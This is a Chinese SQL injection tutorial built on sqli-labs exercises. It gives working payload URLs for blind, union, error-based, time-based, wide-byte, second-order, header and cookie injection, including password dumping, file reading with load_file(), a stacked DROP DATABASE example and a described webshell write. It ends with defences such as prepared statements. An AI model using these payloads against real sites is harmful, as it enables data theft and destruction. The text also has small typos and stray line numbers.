SQL注入详解
SQL注入的原理
SQL注入的漏洞产生必须满足以下两个条件
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数代入数据库查询:传入的参数拼接到SQL语句,并且代入到数据库查询。
本篇中的数据库环境以MySQL为例。
MySQL的相关知识点
在MySQL5.0之后,MySQL中默认添加了一个名为information_schema的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema数据库中三个很重要的表:
information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
mysql中注释符:# 、/**/ 、 --
mysql中常用的函数:
version():查询数据库的版本user():查询数据库的使用者database():数据库system_user():系统用户名session_user():连接数据库的用户名current_user:当前用户名load_file():读取本地文件@@datadir:读取数据库路径@@basedir:mysql安装路径@@version_complie_os:查看操作系统
ascii(str): 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如ascii("a")=97length(str): 返回给定字符串的长度,如length("string")=6substr(string,start,length): 对于给定字符串string,从start位开始截取,截取length长度 ,如substr("chinese",3,2)="in"substr()、stbstring()、mid()三个函数的用法、功能均一致concat(username):将查询到的username连在一起,默认用逗号分隔concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接group_concat(username):将username数据查询在一起,用逗号连接limit 0,1:查询第1个数limit 1,1:查询第2个数据
SQL注入的分类
依据注入点类型分类:
- 数字类型的注入
- 字符串类型的注入
- 搜索型注入
依据提交方式分类:
- GET注入
- POST注入
- Cookie注入
- HTTP Header注入(XFF注入、UA注入、REFERER注入)
依据获取信息的方式分类:
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入
- 堆查询注入(可同时执行多条语句)
判断SQL注入是否存在的方式
易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。
- 先加单引号’、双引号”、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
- 还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
- 还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
布尔盲注(Booleam盲注)
判断数据源库类型
虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过这些表我们可以分辨是哪些数据库。
MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects 。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库1
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:
table_schema:数据库名table_name:表名table_rows:关于表的行数粗略估计data_length:记录表的大小
判断当前数据库名(以下方法不适用于access和SQL Server数据库)
1 | 1. 判断当前数据库的长度,利用二分法 |
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8。
1 | 2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断 |
由此可以判断出当前数据库为 security
判断当前数据库的表名
1 | 1:判断当前数据库中表的个数 |
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断.
判断当前数据库的表字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
271:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........
由此可判断出users表中存在 id、username、password 字段.
判断当前数据库的表字段数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
211: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
...........
盲注可以利用DNSlog快速出结果,参考链接:http://cnblogs.com/sunny11/p/14399420.html
联合查询注入(Union查询注入)
这种查询原理是把前面值整成错误的(id=-1’ 或者id=1’ and 1=2 后面加上union语句),这样就会执行union后语句。
union联合查询适用于有显示列的注入。
我们可以通过order by来判断当前表的列数。
4时错误,3时正确,可得知,当前表有3列
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
我们可以通过 union 联合查询来知道显示的列数。
127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1 ,2 ,3 --+
127.0.0.1/sqli/Less-1/?id=-1' union select 1 ,2 ,3 --+
我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了
可以通过相关函数获得该数据库的一些重要的信息
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),@@datadir --+1
2
3
4
5
6
7
8
9
10
11// 获得所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
// 获得所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+
// 获得所有的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+
获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,group_conca(password),3 from users%23
当我们已知当前数据库名security,我们就可以通过下面的语句得到当前数据库所有的表。
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,group_conca(table_name),3 from information_schema.tables wheretable_schema=’security’ —+
我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每一表中的列
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,group_conca(column_name),3 from information_schema.columns wheretable_schema=’security’ and table_name=’users’ —+
如下,我们可以知道users表中有id,username,password三列
我们知道存在users表,又知道表中有 id ,username, password三列,那么我可以构造如下语句
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,group_concat(id,’—‘username,’—‘,password),3 from users —+
我们就把users表中的所有数据都给爆出来了。
文件读取注入
当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;
union注入读取文件
文件写入只能利用 union 注入
示例:读取e盘下3.txt文件1
2
3
4
5
6
7
8//union注入读取 e:/3.txt 文件
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt") --+
//也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874) --+
盲注读取文件
盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马
union注入写入文件
1 | //利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以 |
报错注入
报错注入原理文章地址(讲的很好)这里强烈建议大家都看一遍,如果直接看结果看不懂:http://blog.csdn.net/he_and/article/details/80455884
利用前提:页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息
floor报错注入
所用到的函数:
(1)count():返回某列的行数
count(*):返回某列的所有行数
(2)rand():随机输出一个小于1的正数
rand()生成的数据毫无规律,而rand(0)生成的数据则有规律可循。
(3)floor():输出的结果取整
(4)group by语句:结果分组
(5)concat():连接两条语句
floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可。
rand(0)是比较稳定的,所以每次执行都可以报错,但是如果使用rand()的话,因为它生成的序列是随机的嘛,所以并不是每次执行都会报错(你可以把下面语句改成rand(),可以看到页面会返回报错和不报错2种)。
我们可以将 user()改成任何函数,以获取我们想要的信息。具体可以看文章开头关于information_schema数据库的部分
?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) --+
将其分解(select 1 from (Y)a)Y= select count(*) from information_schema.tables group by concat(Z)Z= user(),floor(rand(0)*2)//将这里的user()替换成我们需要查询的函数
时间盲注
Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark()函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。
//判断是否存在延时注入
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5) --+
宽字节注入
宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen(“中”) 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。
在说之前,我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。
addslashes()函数,这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ‘ 、双引号 “ 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。
mysql_real_escape_string() 函数,这个函数用来转义sql语句中的特殊符号x00 、\n 、\r 、\ 、’ 、” 、x1a。
魔术引号:当打开时,所有的单引号’、双引号”、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes()函数的作用完全相同。所以,如果魔术引号打开了,就不要使用addslashes()函数了。一共有三个魔术引号指令。
magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。参见 get_magic_quotes_gpc()。
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ‘’。而双引号、反斜线 和 NULL 字符将不会进行转义。如何取得其值参见 ini_get()
实操:此次采用sqli的Less-32,
http://192.168.1.132:86/Less-32/?id=1为正常页面
http://192.168.1.132:86/Less-32/?id=1'可以发现单引号前会被加上一个/
我们要想绕过这个转义,就得把 \’ 的 \ 给去掉。
宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的 ASCII 值大于128,才会认为是汉字。
%df和反斜杠\ 合成了一起,当成了 運 来处理。而我们输入的单引号’ 逃了出来,所以发生了报错。因为在MySQL中只有当前一个字符的ASCII大于128,才会认为两个字符是一个汉字。所以只要我们输入的数据大于等于 %81 就可以使 ‘ 逃脱出来了。
http://192.168.1.132:86/Less-32/?id=1 %df可以发现/和%df组成了一个汉字
把/号干掉之后就可以用union联合注入查询数据了。
http://192.168.1.132:86/Less-32/?id=1%84%27%20and%201=2%20union%20select%201,user(),version()%20--+
堆叠注入
在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:Select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。
二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功
我们访问 http://127.0.0.1/sqli/Less-24/index.php
是一个登陆页面,我们没有账号,所以选择新建一个用户
我们新建的用户名为:admin’ # 密码为:654321
查看数据库,可以看到,我们的数据插入进去了
我们使用新建的用户名和密码登录。
登录成功了,跳转到了后台页面修改密码页面。
我们修改用户名为:admin’ # 密码为:aaaaaa
提示密码更新成功!
我们查看数据库,发现用户 admin’# 的密码并没有修改,而且 admin 用户的密码修改为了 aaaaaa。
这里就是修改密码处存在sql注入。
修改密码的时候,语句就会变为:
$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin' #' and password='$curr_pass' ";
把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaa
User-Agent注入
我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息。
当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent。
抓包,修改其User-Agent为
' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我们可以将 database()修改为任何的函数
可以看到,页面将当前的数据库显示出来了。
Cookie注入
如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。
但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request(“xxx”),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。
我们这里有一个连接:http://192.168.1.132:8009/shownews.asp?id=27
我们访问:http://192.168.1.132:8009/shownews.asp发现访问无内容。
我们将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。
那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了!
在sqlmap中使用cookie注入,level >=2才行。
Sqlmap执行sqlmap.py -u “http://192.168.1.132:8009/shownews.asp“ —cookie=”id=27” —level 2。
万能密码
1 | sql="select*from test where username=' XX ' and password=' XX ' "; |
SQL注入的预防
预编译
以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
1 | String sql = "select id, no from user where id=?"; |
如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?
其原因就是:采用了PreparedStatement预编译,就会将SQL语句:”select id, no from user where id=?” 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。
原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。
PDO(PHP)
首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。
PDO对于解决SQL注入的原理也是基于预编译。
1 | $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); |
实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.
使用正则表达式过滤
然预编译可以有效预防SQL注,但是某些特定场景下,可能需要拼接用户输入的数据。这种情况下,我们就需要对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽一切办法进行绕过注入。基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。
对用户输入的特殊字符进行严格过滤,如 ‘、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union
其它方式
Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。
设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。
严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查。
使用 Web 应用防火墙。
参考链接:https://www.cnblogs.com/sunny11/p/14402679.html#_label0





